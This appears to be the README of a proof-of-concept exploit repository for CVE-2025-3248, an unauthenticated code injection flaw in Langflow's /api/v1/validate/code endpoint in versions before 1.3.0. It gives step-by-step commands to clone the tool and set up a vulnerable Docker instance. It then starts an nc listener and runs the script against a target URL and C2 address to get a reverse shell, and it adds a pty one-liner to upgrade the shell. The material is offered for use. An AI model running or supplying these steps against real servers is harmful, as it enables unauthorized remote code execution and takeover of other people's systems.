
PoC for achieving RCE in Langflow versions <1.3.0
Langflow versions prior to 1.3.0 are susceptible to unauthenticated code injection in the /api/v1/validate/code endpoint via Python exec() function. This exploit establishes a reverse shell connection abusing this vulnerability.
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
# Terminal 1
nc -nvlp <C2_PORT>
# Terminal 2
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
E.g.: python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337
NOTE: In order to upgrade the shell to TTY, execute below command after getting the shell.
python -c 'import pty; pty.spawn("/bin/bash")'
